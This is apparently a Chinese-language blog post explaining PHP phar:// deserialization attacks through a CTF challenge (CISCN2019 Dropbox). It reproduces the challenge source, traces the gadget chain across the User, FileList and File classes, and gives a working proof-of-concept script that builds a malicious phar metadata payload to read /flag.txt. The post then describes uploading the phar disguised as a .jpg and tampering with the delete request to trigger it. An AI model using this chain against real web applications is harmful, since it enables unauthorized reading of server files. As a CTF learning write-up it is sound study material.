phar伪协议序列化
编写phar反序列化脚本的时候,需要设置php.ini的phar.readonly为Off,并且去掉;,否则无法生成phar反序列化链
phar简介
PHAR(”PHP archive”)是PHP里类似JAR的一种打包文件,在PHP > 5.3版本中默认开启。其实就是用来打包程序的。
文件结构
a stub:xxx<?php xxx;__HALT_COMPILER();?>前面内容不限,后面必须以__HALT_COMPILER();?>结尾,否则phar扩展无法将该文件识别为phar文件。
phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

会触发phar伪协议反序列化的函数
既然存在序列化的数据,那肯定有序列化的逆向操作反序列化。那么这里在PHP中存在很多通过phar://伪协议解析phar文件时,会将meta-data进行反序列化。可用函数如下图

例子:[CISCN2019 华北赛区 Day1 Web1]Dropbox 1
简单的地方直接跳过,任意文件下载得到网页代码,重点关注这两个文件
class.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143
| <?php error_reporting(0); $dbaddr = "127.0.0.1"; $dbuser = "root"; $dbpass = "root"; $dbname = "dropbox"; $db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);
class User { public $db;
public function __construct() { global $db; $this->db = $db; }
public function user_exist($username) { $stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->store_result(); $count = $stmt->num_rows; if ($count === 0) { return false; } return true; }
public function add_user($username, $password) { if ($this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);"); $stmt->bind_param("ss", $username, $password); $stmt->execute(); return true; }
public function verify_user($username, $password) { if (!$this->user_exist($username)) { return false; } $password = sha1($password . "SiAchGHmFx"); $stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;"); $stmt->bind_param("s", $username); $stmt->execute(); $stmt->bind_result($expect); $stmt->fetch(); if (isset($expect) && $expect === $password) { return true; } return false; }
public function __destruct() { $this->db->close(); } }
class FileList { private $files; private $results; private $funcs;
public function __construct($path) { $this->files = array(); $this->results = array(); $this->funcs = array(); $filenames = scandir($path);
$key = array_search(".", $filenames); unset($filenames[$key]); $key = array_search("..", $filenames); unset($filenames[$key]);
foreach ($filenames as $filename) { $file = new File(); $file->open($path . $filename); array_push($this->files, $file); $this->results[$file->name()] = array(); } }
public function __call($func, $args) { array_push($this->funcs, $func); foreach ($this->files as $file) { $this->results[$file->name()][$func] = $file->$func(); } }
public function __destruct() { $table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">'; $table .= '<thead><tr>'; foreach ($this->funcs as $func) { $table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>'; } $table .= '<th scope="col" class="text-center">Opt</th>'; $table .= '</thead><tbody>'; foreach ($this->results as $filename => $result) { $table .= '<tr>'; foreach ($result as $func => $value) { $table .= '<td class="text-center">' . htmlentities($value) . '</td>'; } $table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>'; $table .= '</tr>'; } echo $table; } }
class File { public $filename;
public function open($filename) { $this->filename = $filename; if (file_exists($filename) && !is_dir($filename)) { return true; } else { return false; } }
public function name() { return basename($this->filename); }
public function size() { $size = filesize($this->filename); $units = array(' B', ' KB', ' MB', ' GB', ' TB'); for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024; return round($size, 2).$units[$i]; }
public function detele() { unlink($this->filename); }
public function close() { return file_get_contents($this->filename); } } ?>
|
delete.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php session_start(); if (!isset($_SESSION['login'])) { header("Location: login.php"); die(); }
if (!isset($_POST['filename'])) { die(); }
include "class.php";
chdir($_SESSION['sandbox']); $file = new File(); $filename = (string) $_POST['filename']; if (strlen($filename) < 40 && $file->open($filename)) { $file->detele(); Header("Content-type: application/json"); $response = array("success" => true, "error" => ""); echo json_encode($response); } else { Header("Content-type: application/json"); $response = array("success" => false, "error" => "File not exist"); echo json_encode($response); } ?>
|
思路
直接跟着代码逻辑走,由于这里并没有反序列化触发点unserialize(),利用phar://伪协议进行触发反php函数的序列化操作。

Filelist类中在创建时就会创建file类,获取所有上传的文件名,并且创建一个result的数组,该数组的key为文件名(basename获取的是路径中的文件名的一部分,并且会去掉非ASCII码值,如%ff)

_call方法当调用不存在的方法时自动调用它,图中$func和$args是调用不存在方法时的参数,具体看官方文档

第一个参数为调用这个不存在方法的方法名称
第二个参数为调用这个不存在方法的参数数组

回到call方法中,为了能调用该方法,着手点在User类,他有销毁时自动调用的魔术方法 __destruct() {$this->db->close();},当db为FileList类的时候,由于没有close()方法便会调用call方法,此时$this->results[$file->name()][$func] = $file->$func();的result数组一维为文件名,二维为close(),value为File类的调用close()方法的结果(注意FileList类的__construct方法)**

其中file_get_contents可以触发phar反序列化,通过filename得到任意文件读取,但是要输出,唯一输出点在__destruct方法中的htmlentities

而触发__destruct方法在删除会触发,删除时也会进行一次filename的获取,所以可以在此利用phar伪协议。(貌似主页查看的时候也调用了__destruct方法,显示了文件的下载和删除键,但是应该是通过上传时调用basename函数无法写phar伪协议直接利用,本人没有在本地进行测试,太菜了)
POC
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class User { public $db; } class File{ public $filename; } class FileList { private $files;
public function __construct() { $file = new File(); $file->filename = '/flag.txt'; $this->files = array($file);
} } $phar = new Phar("phar.phar"); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); $o = new User(); $o->db=new FileList(); $phar->setMetadata($o); $phar->addFromString("test.txt", "test");
$phar->stopBuffering(); ?>
|
注意这个poc构造好后必须本地环境访问便可以在同一路径获得phar.phar文件,注意php.ini一定一定要进行开头提到的设置!!

然后进行后缀改成jpg进行上传,因为phar伪协议不需要在意文件格式,直接解析为phar格式读取。
然后删除位置修改抓包,完毕。
